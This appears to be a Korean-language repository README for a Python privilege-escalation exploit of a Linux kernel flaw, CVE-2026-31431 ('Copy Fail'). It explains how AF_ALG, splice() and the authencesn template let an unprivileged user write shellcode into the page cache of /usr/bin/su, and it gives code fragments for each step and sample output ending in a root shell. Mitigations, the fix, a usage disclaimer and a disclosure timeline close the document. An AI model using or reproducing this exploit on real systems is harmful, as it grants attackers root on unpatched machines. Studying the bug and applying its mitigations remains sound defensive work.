
# CVE-2026-31431용 Python 익스플로잇 setuid 바이너리의 페이지 캐시 손상을 통한 Linux 커널 권한 상승으로, 루트 액세스를 달성합니다.
Copy Fail (CVE-2026-31431)은 Linux 커널의 암호화 서브시스템에서 발생하는 치명적인 로직 버그로, 권한이 없는 사용자가 root로 권한을 상승시킬 수 있게 합니다. 이 취약점은 모든 주요 배포판의 Linux 커널 6.0.0부터 6.18.x까지 영향을 미칩니다.
이 저장소에는 setuid 바이너리의 페이지 캐시를 손상시키고 root 권한으로 임의 코드를 실행하여 취약점을 트리거하는 실제 익스플로잇이 포함되어 있습니다.
Copy Fail은 권한이 없는 사용자가 시스템의 읽기 가능한 모든 파일( setuid 바이너리 포함)의 커널 페이지 캐시에 임의의 4바이트 청크를 직접 쓸 수 있게 하는 로직 버그입니다.
주요 특징:
이 취약점은 algif_aead.c(커밋 72548b093ee3)의 2017년 최적화에서 비롯되었으며, AEAD 연산을 out-of-place에서 in-place로 변경했습니다:
이전(안전 - 2015):
TX Scatterlist (입력) ← TX 버퍼 (파일의 사용자 데이터)
RX Scatterlist (출력) ← RX 버퍼 (사용자의 출력 영역)
별도의 scatterlist = 페이지 캐시 페이지는 읽기 전용
이후(취약 - 2017):
결합된 Scatterlist:
[ RX 버퍼 ] [ sg_chain()으로 연결된 페이지 캐시 페이지 ]
↑ ↑
req->src = src req->dst = dst (동일한 scatterlist)
페이지 캐시 페이지가 이제 쓰기 가능한 scatterlist에 있음!
결합된 scatterlist는 다음과 같습니다:
[RX 버퍼의 AAD + 암호문] || [/usr/bin/su 페이지 캐시의 태그]
↑
경계
(authencesn이 이 지점 너머에 씀)
authencesn 알고리즘은 IPsec에서 확장 시퀀스 번호(ESN)에 사용되는 AEAD 래퍼입니다. HMAC 계산을 수행하지만 AAD(연관 인증 데이터) 내에서 바이트를 재배열해야 합니다.
커널 코드(crypto/authenc.c)에서 복호화 중:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AAD 바이트 0-7 읽기
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 임시: dst[4..7] 덮어쓰기
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← 핵심 라인
// dst[assoclen+cryptlen]에 4바이트 쓰기
문제: 세 번째 쓰기는 assoclen + cryptlen 오프셋에서 발생합니다. 취약한 in-place 경로에서:
커널은 이 위치를 "소모 가능한 스크래치 공간"으로 취급하고 값을 영구적으로 씁니다. 페이지 캐시의 이 위치에 있던 원래 바이트는 영원히 손실됩니다.
1. 공격자가 AF_ALG 소켓을 열고 → authencesn(hmac(sha256),cbc(aes))에 바인딩
(권한 불필요; AF_ALG는 기본적으로 권한 없는 사용자에게 제공됨)
2. 공격자가 대상 파일 열기: /usr/bin/su (setuid-root 바이너리)
3. 공격자가 splice()를 사용하여 /usr/bin/su의 페이지 캐시 페이지를
"암호문" 및 "태그"로 AF_ALG 소켓에 전달
4. 공격자가 다음을 포함하는 AAD로 sendmsg() 전송:
- 바이트 0-3: 패딩
- 바이트 4-7: seqno_lo = 쓸 4바이트 값 (공격자가 제어)
- 바이트 8+: 패딩
5. 공격자가 AEAD 복호화 연산을 트리거하는 recvmsg() 호출
커널 공간의 authencesn 복호화 내부:
a) 커널이 AAD 바이트 0-7 읽기
b) 커널이 dst[4..7]에 seqno_hi 쓰기 (임시, 그 후 복원)
c) 커널이 dst[assoclen + cryptlen]에 seqno_lo 쓰기
↓
이 쓰기는 사용자 버퍼에서 페이지 캐시 페이지로 교차
↓
/usr/bin/su의 페이지 캐시에 4바이트 쓰기가 여기서 발생
d) 커널이 HMAC 계산 (검증 실패 - 암호문이 위조됨)
e) recvmsg()가 오류 반환
그러나: 4바이트 쓰기는 페이지 캐시에 이미 지속됨
6. 공격자가 각 4바이트 셸코드 청크에 대해 2-5단계 반복
7. 공격자가 /usr/bin/su 실행
- 커널이 PAGE CACHE에서 바이너리 로드 (이제 셸코드 포함)
- 바이너리는 setuid-root
- 셸코드가 UID=0으로 실행
- 공격자가 root 액세스 권한 획득
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # AEAD 연산용 요청 소켓
authencesn AEAD 템플릿에 바인딩된 AF_ALG 소켓을 생성합니다.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
손상시킬 setuid 바이너리를 엽니다. 읽기 가능한 파일이면 모두 작동하지만, 권한 상승을 위해 setuid 바이너리가 선택됩니다.
pipe_rd, pipe_wr = os.pipe()
splice() 연산의 중개자 역할을 할 파이프를 생성합니다. 파이프 버퍼는 페이지 캐시 페이지에 대한 참조를 보유합니다.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
splice()를 사용하여 write_offset에서 시작하는 /usr/bin/su의 cryptlen 바이트를 파이프로 전송합니다.
이것이 중요한 이유: splice()는 복사 없이 파일 디스크립터 간에 데이터를 전송합니다. 커널 페이지 캐시 페이지에 대한 직접 참조를 전달합니다. 이 페이지들은 파이프의 내부 버퍼 구조에 유지됩니다.
assoclen = 8 # AAD 길이: 바이트 0-7
cryptlen = 32 # 암호문 길이 (== HMAC-SHA256 출력)
authsize = 32 # 태그 길이
write_offset = 0x2000 # /usr/bin/su에 쓸 오프셋
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
AAD(연관 인증 데이터)에는 다음이 포함됩니다:
authencesn 알고리즘은 스크래치 쓰기에서 이 AAD의 바이트 4-7을 사용합니다.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
AAD를 AF_ALG 소켓으로 전송합니다. MSG_MORE 플래그는 암호문/태그가 뒤따를 것임을 나타냅니다.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
파이프에서 AF_ALG 소켓으로 페이지 캐시 페이지를 전송합니다. 이제 커널의 scatterlist에는 다음이 포함됩니다:
Scatterlist 체인:
[ AAD (RX 버퍼에서) ] || [ 암호문 (RX 버퍼에서) ] → [ 태그 (페이지 캐시 페이지) ]
↑
여전히 참조
/usr/bin/su의 페이지
try:
req_sock.recv(1024)
except OSError:
pass # 잘못된 HMAC로 실패할 것으로 예상
AEAD 복호화 연산을 트리거하기 위해 recvmsg()를 호출합니다:
커널 공간의 authencesn 내부:
dst[assoclen + cryptlen]에 씀
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
익스플로잇은 루프를 돌며 /usr/bin/su의 페이지 캐시의 순차적 오프셋에 4바이트 셸코드 청크를 씁니다.
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
/usr/bin/su 실행:
os.splice() 지원용)lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
취약한 시스템에서의 예상 출력:
[*] CVE-2026-31431 (Copy Fail) Linux 커널 권한 상승
[*] 대상: /usr/bin/su (setuid-root 바이너리)
[*] 커널 버전: 6.12.0-1007-aws
[+] 커널 6.12.x는 취약한 범위(6.0 - 6.18)에 있음
[+] /usr/bin/su 발견 (setuid-root 바이너리)
[+] 커널 취약점 확인: AF_ALG + splice + authencesn
[*] 페이지 캐시 손상 시작...
[*] /usr/bin/su에 33바이트 셸코드 주입
[+] 오프셋 0x2000에 청크 0 쓰기
[+] 오프셋 0x2004에 청크 1 쓰기
...
[+] 셸코드 주입 성공!
[*] 셸코드 트리거를 위해 /usr/bin/su 실행...
# id
uid=0(root) gid=1001(user) groups=1001(user)
AF_ALG AEAD 지원 비활성화:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
이렇게 하면 다른 AF_ALG 기능은 유지하면서 익스플로잇이 AF_ALG의 AEAD 인터페이스에 액세스하는 것을 방지할 수 있습니다.
취약한 모듈 언로드:
sudo rmmod algif_aead
sudo rmmod authencesn
seccomp를 통한 AF_ALG 소켓 생성 차단 (컨테이너 환경용):
# 컨테이너 보안 정책에서 socket(38, SOCK_SEQPACKET) syscall 거부
수정 사항(커밋 a664bf3d603d)이 포함된 **Linux 6.19+**로 업데이트합니다.
수정 사항은 algif_aead.c를 out-of-place AEAD 연산으로 되돌립니다:
// 이전 (취약한 in-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL (입력)
rsgl_src, // RX SGL (출력) - 동일
used, ctx->iv);
// 이후 (수정된 out-of-place):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL (입력)
rsgl_src, // RX SGL (출력) - 다름
used, ctx->iv);
별도의 소스 및 대상 scatterlist 사용:
이 익스플로잇은 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.
| 측면 | 설명 |
|---|
| 충돌 없음 | 커널 관점에서 연산이 완료됨 |
| 결정적 | 레이스 컨디션 없음; 동기적이고 신뢰할 수 있음 |
| 지속성 | 페이지 캐시 손상이 recvmsg() 오류 후에도 유지됨 |
| 비가시성 | 디스크의 파일은 변경되지 않음; 표준 무결성 도구가 감지하지 못함 |
| 범용성 | 모든 배포판에서 동일한 코드가 작동; 배포판별 오프셋 불필요 |
| 이식성 | x86-64 및 ARM64 아키텍처에서 작동 |
| 날짜 | 이벤트 |
|---|
| 2017-Q3 | algif_aead.c에서 취약점 도입 (커밋 72548b093ee3) |
| 2026-03-23 | Linux 커널 보안 팀에 보고 |
| 2026-03-24 | 커널 팀이 취약점 확인 |
| 2026-03-25 | 패치 제안 및 검토 |
| 2026-04-01 | 메인라인 커널에 패치 병합 (커밋 a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 지정 |
| 2026-04-29 | 공개 공개 (Xint Research) |
| 시리즈 | 상태 | 세부 사항 |
|---|
| Linux 5.x | ✅ 안전 | 취약점 이전 |
| Linux 6.0 - 6.18 | ❌ 취약 | 모든 마이너 버전 영향 |
| Linux 6.19+ | ✅ 안전 | 수정 사항 포함 (커밋 a664bf3d603d) |
| Linux 7.0+ | ✅ 안전 | 수정 사항 병합 후 |